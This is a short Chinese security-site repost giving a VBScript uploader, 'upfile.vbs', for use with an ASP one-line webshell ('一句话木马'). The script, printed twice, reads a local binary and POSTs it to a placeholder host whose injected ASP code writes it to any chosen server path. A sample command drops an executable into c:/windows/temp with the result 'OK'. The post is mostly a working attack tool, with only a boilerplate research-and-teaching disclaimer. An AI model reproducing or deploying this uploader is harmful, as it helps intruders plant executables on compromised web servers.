一句话木马用upfile.vbs 's

admin 2017年3月26日13:58:06评论436 views字数 731阅读2分26秒阅读模式
摘要

来自:情感网络联盟with wscript
if .arguments.count<2 then .quit
ffn=replace(.arguments(1),”/”,”%5C”):ffn=replace(ffn,”:”,”%3A”):ffn=replace(ffn,”~”,”%7E”)
url= “http://www.xxxx.com/a.asp?a=with+server.createobject%28%22adodb.stream%22%29%0D%0A.type%3D1%0D%0A.open%0D%0A.write+request.binaryread%28request.totalbytes%29%0D%0A.savetofile+%22″&ffn&”%22%2C2%0D%0Aend+with%0D%0AResponse.end”
fn=.arguments(0)
end with
with createobject(“adodb.stream”)
.type=1:.open:.loadfromfile fn:s=.read:.close
end with
with createobject(“microsoft.xmlhttp”)
.open “post”,url,false:.send s
wscript.echo .statustext
end with

来自:情感网络联盟

with wscript
if .arguments.count<2 then .quit
ffn=replace(.arguments(1),”/”,”%5C”):ffn=replace(ffn,”:”,”%3A”):ffn=replace(ffn,”~”,”%7E”)
url= “http://www.xxxx.com/a.asp?a=with+server.createobject%28%22adodb.stream%22%29%0D%0A.type%3D1%0D%0A.open%0D%0A.write+request.binaryread%28request.totalbytes%29%0D%0A.savetofile+%22″&ffn&”%22%2C2%0D%0Aend+with%0D%0AResponse.end”
fn=.arguments(0)
end with
with createobject(“adodb.stream”)
.type=1:.open:.loadfromfile fn:s=.read:.close
end with
with createobject(“microsoft.xmlhttp”)
.open “post”,url,false:.send s
wscript.echo .statustext
end with

F:/tools/upfile>cscript upfile.vbs f:/tools/xtime.exe c:/windows/temp/xtime.exe
Microsoft (R) Windows Script Host Version 5.6
版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。

OK

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年3月26日13:58:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一句话木马用upfile.vbs 'shttps://cn-sec.com/archives/47901.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息